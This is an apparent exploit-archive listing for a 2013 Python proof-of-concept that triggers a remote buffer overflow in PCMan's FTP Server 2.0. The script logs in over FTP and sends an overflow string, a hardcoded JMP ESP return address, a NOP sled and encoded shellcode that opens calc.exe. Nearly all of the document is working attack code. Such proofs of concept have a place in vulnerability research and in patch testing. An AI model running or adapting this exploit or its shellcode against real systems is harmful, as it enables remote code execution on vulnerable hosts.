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PCMan's FTP Server 2.0 Buffer Overflow

PCMan's FTP Server 2.0 Buffer Overflow
Posted Jun 28, 2013
Authored by Chako

PCMan's FTP Server version 2.0 remote buffer overflow exploit that leverages USER and pops calc.exe.

tags | exploit, remote, overflow
MD5 | 75b5495b82efc4e8713620080cbaa441

PCMan's FTP Server 2.0 Buffer Overflow

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#!/usr/bin/python
#
#
####################################################################
#
# Exploit Title: PCMan's FTP Server 2.0 Remote Buffer Overflow Exploit
# Date: 2013/6/26
# Exploit Author: Chako
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Download Link: https://files.secureserver.net/1sMltFOsytirTG
# Version: 2.0
# Tested on: Windows 7 SP1 English
#
# EAX 00000000
# ECX 00830A70
# EDX 00000030
# EBX 00000000
# ESP 0018ED70 ASCII "AAAAAAAAAAAAAAAAAAAAA
# EBP 01F214A0
# ESI 0018ED87 ASCII "AAAAAAAAAAAAAAAAAAAAA
# EDI 00000004
# EIP 41414141
#
####################################################################

import socket
import sys

USER = "anonymous"
PASSWD = "TEST"

PAYLOAD = "\x41" * 2010
EIP = "\xDB\xFC\x1C\x75" # 751CFCDB JMP ESP USER32.DLL
NOP = "\x90" * 10

#OPENS a calc.exe UP
SHELLCODE =(
"\xba\x38\xdc\x15\x77\xdd\xc7\xd9\x74\x24\xf4\x5d\x33\xc9"
"\xb1\x33\x83\xc5\x04\x31\x55\x0e\x03\x6d\xd2\xf7\x82\x71"
"\x02\x7e\x6c\x89\xd3\xe1\xe4\x6c\xe2\x33\x92\xe5\x57\x84"
"\xd0\xab\x5b\x6f\xb4\x5f\xef\x1d\x11\x50\x58\xab\x47\x5f"
"\x59\x1d\x48\x33\x99\x3f\x34\x49\xce\x9f\x05\x82\x03\xe1"
"\x42\xfe\xec\xb3\x1b\x75\x5e\x24\x2f\xcb\x63\x45\xff\x40"
"\xdb\x3d\x7a\x96\xa8\xf7\x85\xc6\x01\x83\xce\xfe\x2a\xcb"
"\xee\xff\xff\x0f\xd2\xb6\x74\xfb\xa0\x49\x5d\x35\x48\x78"
"\xa1\x9a\x77\xb5\x2c\xe2\xb0\x71\xcf\x91\xca\x82\x72\xa2"
"\x08\xf9\xa8\x27\x8d\x59\x3a\x9f\x75\x58\xef\x46\xfd\x56"
"\x44\x0c\x59\x7a\x5b\xc1\xd1\x86\xd0\xe4\x35\x0f\xa2\xc2"
"\x91\x54\x70\x6a\x83\x30\xd7\x93\xd3\x9c\x88\x31\x9f\x0e"
"\xdc\x40\xc2\x44\x23\xc0\x78\x21\x23\xda\x82\x01\x4c\xeb"
"\x09\xce\x0b\xf4\xdb\xab\xe4\xbe\x46\x9d\x6c\x67\x13\x9c"
"\xf0\x98\xc9\xe2\x0c\x1b\xf8\x9a\xea\x03\x89\x9f\xb7\x83"
"\x61\xed\xa8\x61\x86\x42\xc8\xa3\xe5\x05\x5a\x2f\xc4\xa0"
"\xda\xca\x18");

print("\n\n[+] PCMan's FTP Server 2.0 Rrmote Buffer Overflow Exploit")
print("[+] Version: V2.0")
print("[+] Chako\n\n\n")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",21))
data = s.recv(1024)


print("[-] Login to FTP Server...\n")
s.send("USER " + USER + '\r\n')
data = s.recv(1024)

s.send("PASS " + PASSWD + '\r\n')
data = s.recv(1024)



print("[-] Sending exploit...\n")
s.send(PAYLOAD + EIP + NOP +SHELLCODE +'\r\n')
s.close()

print("[!] Done! Exploit successfully sent\n")
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